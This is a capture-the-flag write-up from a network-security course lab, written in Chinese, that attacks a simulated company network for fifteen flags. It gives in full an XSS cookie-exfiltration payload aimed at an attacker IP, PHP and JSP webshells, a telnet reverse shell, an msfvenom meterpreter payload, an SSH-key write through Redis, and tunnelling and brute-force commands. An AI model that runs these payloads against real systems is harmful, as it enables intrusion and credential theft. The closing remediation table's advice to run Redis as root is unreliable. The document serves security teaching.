JMU-net-security-lesson-design WriteUp

发布时间 2023-12-29 19:34:16作者: lrui1

0. 内网信息

主机名(域名) IP 端口
www.qianxin.com 172.10.10.100 80
news.qianxin.com 172.10.10.102 80
blog.qianxin.com 172.10.10.101 80
mysql 192.168.100.40 3306
redis 192.168.100.101 6379
oa-web 192.168.100.100 22、80

1. 登录www.qianxin.com后台获取flag1

在kali操作机部署简单的xxs获取服务,在家目录新建一个index.php文件并输入以下内容

<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

使用命令启动PHP 内置服务器

php -S 202.1.1.20:8000

在首页,最新新闻的评论区,发现存在xss注入

且赛方提示有管理员bot访问新闻界面

注入以下xss代码

<script>
var img = document.createElement("img"); 
img.src = "http://202.1.1.20:8000/index.php?cookie="+document.cookie; 
</script>

获取到bot发送的cookie

修改cookie

访问 www.qianxin.com/admin 得到flag1{498cc55df0c7a39c}

2. 目录遍历漏洞 flag2

赛方提示目录遍历漏洞

在网站后台的模板设置中,发现带参数的GET请求,尝试后发现存在目标遍历漏洞

访问tomcat-users.xml

fire_name=tomcat-users.xml
dir=/../../../../../../apache-tomcat-6.0.32/conf/

登入tomcat管理页面 www.qianxin.com/manager/html ,得到flag2{1595a7d9910930ca}

3. C盘根目录 flag3

在管理页面中,发现存在文件上传

将使用jspspy.jsp木马文件打包成muma.war文件

上传后,访问 www.qianxin.com/muma/jspspy.jsp 密码在jspspy.jsp 文件里

登录后,在C盘根目录找到flag3{e0c34f72c42d6b90}

4. news.qianxin.com/sql/ SQL注入漏洞获取flag4

发现存在sql注入的网站

使用以下命令

sqlmap -u 'http://news.qianxin.com/sql/?id=1' --dbs # 查找后台所有的数据库
sqlmap -u 'http://news.qianxin.com/sql/?id=1' -D dedecmsv57utf8spl --tables # 查找dedecmsv57utf8spl数据库中所有表名
sqlmap -u 'http://news.qianxin.com/sql/?id=1' -D dedecmsv57utf8spl -T flag --columns # 查找dedecmsv57utf8spl数据库中,flag表的所有列
sqlmap -u 'http://news.qianxin.com/sql/?id=1' --dbms mysql --level 3 --thread 5 -D dedecmsv57utf8spl -T flag -C "flag,id" --dump # 列出该表的所有字段数据(字典爆破、无法查出)
sqlmap -u 'http://news.qianxin.com/sql/?id=1' --sql-query='select * from flag' # (自定义SQL,可查出)

得到flag4{c261a93b636d1975}

5. 网站后台首页的flag5

sqlmap -u 'http://news.qianxin.com/sql/?id=1' --sql-query='select * from dede_admin' # 查询dede_admin 表中的值

对其中的7cd6ef195a0f7622a9c5字段进行md5 解密
得到1q2w3e4r


登录网站后台,得到flag5{b9719d911017c592}

6. news.qianxin.com 的网站配置文件中的flag6

PHP 一句话木马 muma.php如下

<?php eval($_POST[123])?>

打开网站后台的文件式管理器,上传木马文件到根目录

打开菜刀,添加新链接

下载/data/common.inc.php 文件

打开common.inc.php,获得flag6{dd9e7b0c1a6227a2}

7. 服务器/home目录拿到flag7

菜刀打开/home 目录访问,发现flag7文件

下载并打开flag7,拿到flag7{4558894a57d3a6bc}

8. blog.qianxin.com 网站后台,草稿文章中的flag8

打开网站,发现是WordPress建站
使用wpscan进行漏洞扫描

wpscan -u http://blog.qianxin.com -e u --threads 100 # 爆破所有用户
wpscan -u http://blog.qianxin.com --wordlist /root/password-top1000.txt -e u --threads 100 # 爆破所有用户的密码

使用john账号进行登录,在草稿箱中找到flag8{8ebf5950de08089a}

9. 网站配置文件的flag9

在网站后台,插件-安装插件中直接上传一句话木马muma.php(虽然报错但已经成功上传)

<?php eval($_POST[123])?>

通过dirb的扫描结果,发现有wp-content/uploads 目录,发现上传的木马文件路径在/wp-content/uploads/2023/12/

使用中国菜刀连接,找到网站根目录下的wp-config.php

下载打开文件,得到flag9{9ced34482cf96ced}

10. 数据库flag表中的flag10

在配置文件中,查找到了数据库的账号密码,编辑菜刀连接,使用菜刀的数据库管理

获得flag10{409877992b99dec9}

11. 网站服务器 /root 目录下的flag11

基于webshell,搞出反弹shell

nc -lvvp 2333 # 攻击机
mknod a p; telnet 202.1.1.20 2333 0<a | /bin/bash 1>a # 目标机

使用CVE-2015-1328内核漏洞进行提权

上传exp

编译执行exp,获得root权限

得到flag11

12. redis服务内网ip地址 flag12

获取MSF会话

用msfvenom 生成木马 (payload)

msf> msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=202.1.1.20 LPORT=3333 -a x86 --platform Linux -f elf > shell.elf # 根据靶机环境决定要用什么类型的payload

将木马文件上传至http能访问的目录,这里使用CKnife 进行上传

在攻击机的MSF中监听该木马

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 202.1.1.20
set LPORT 3333
run

在反弹shell中给予777权限,并执行该木马

获取成功

设置路由,让MSF能访问内网

根据信息收集,知道三个Web站点的CIDR地址是 172.10.10.0/24;在flag6中,有数据库所在的ip地址的信息

总结出两个内网的CIDR

  • 172.10.10.0/24
  • 192.168.100.0/24

在msf会话中配置这两个网段的路由

meterpreter > run autoroute -s 172.10.10.0/24
meterpreter > run autoroute -s 192.168.100.0/24

使用msf内置的端口扫描模块

use anxiliary/scanner/portscan/tcp
set RHOSTS 172.10.10.0/24
set PORTS 6379
set THREADS 20
run

扫描 172.10.10.0/24 网段的 redis默认 6379 端口,无ip

扫描 192.168.100.0/24 网段的 redis默认 6379 端口,扫出结果

得到redis服务器ip地址 flag12{192.168.100.101}

13. redis 服务所使用的配置文件路径flag13

利用redis未授权访问漏洞,SSH连接服务器(为flag14做准备,flag13不强制)

ssh-keygen -t rsa # 生成SSH公钥密钥
cd /root/.ssh
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt # 将公钥写入key.txt文件
cat /root/.ssh/key.txt | /usr/local/bin/redis-cli -h 192.168.100.101 -x set pub # 把key.txt文件内容写入redis缓冲

# 设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys
/usr/local/bin/redis-cli -h 192.168.100.101
192.168.100.101:6379> config set dir /root/.ssh
192.168.100.101:6379> config set dbfilename authorized_keys
192.168.100.101:6379> save

Ubuntu获取redis配置文件访问路径

得到flag13{/etc/redis/redis.conf}

14. redis 服务器根目录下的flag14

根据13 获得flag14{24e3f47dead05ce8}

15. redis同网络中的oa-web服务器 admin用户的密码 flag15

利用reGeorg搭建隧道

桌面找到regeorg文件夹,使用Cknife上传,tunnel_nosocket.php 到能用http访问的目录,这里上传到 /uploads/2023/12

在桌面的regeorg目录 执行reGeorgSocksProxy.py 开启sock5代理,在本机9999端口做转发

vim /etc/proxychains.conf 将sock5 添加到[ProxyList] 下,把 sock4 注释掉

在浏览器配置好sock5代理

扫描同网段下开放的80端口的ip

得到192.168.100.100这个ip,开放了80端口

在终端输入 proxychains bash 即可获得全局代理终端
或使用proxychains + command

使用dirb 扫描后台网站目录,进行信息收集

访问192.168.100.100

查看网页源代码,发现账号admin 密码123456 尝试 无法登录

使用Burpsuite爆破

浏览器设置代理

配置Burpsuite的sock代理

抓包,发到intruder,狙击手,选择password-top1000.txt

开始爆破,发现第22行密码777777之后,返回报文长度发生变化

猜测密码为777777,登录后台,成功

得到flag15{777777}(可提交通过)

漏洞修复意见

漏洞 修复意见
XSS脚本攻击 保证用户的输入是合法的,进行合法性检测
目录遍历漏洞 可以通过检查../来规避
SQL注入 将拼接SQL改为预编译SQL可有效防止
MD5加密的密码被解密 加salt的方式来防止逆向MD5
任意文件上传漏洞 后端检查用户上传的文件类型
特定CMS漏洞攻击 及时升级CMS或打补丁
账号密码可被爆破 设置验证码或者强密码
redis未授权访问漏洞 禁止外部访问Redis服务端口;使用root权限启动redis服务;配置安全组
Linux内核漏洞 及时升级Linux或打补丁
··· ···

PS

反弹shell 稍微升级一下

nc -lvvp 2333 # 攻击机
mknod a p; telnet 202.1.1.20 2333 0<a | /bin/bash 1>a # 目标机
  1. 在 shell 里输入以下指令,获得完整的shell python -c 'import pty;pty.spawn("/bin/bash")'
  2. 在 shell 里使用 Ctrl+Z 退出 shell
  3. 执行命令 stty raw -echo
  4. 输入 fg 可能会看不到,不用管,输入直接回车就行
  5. 此时的shell就可以使用方向键了,Ctrl+C 也不会断开了

Proxychains 使用本地工具没作用

source /etc/profile # 执行以下这个命令,再试试
proxychains bash #获取全局代理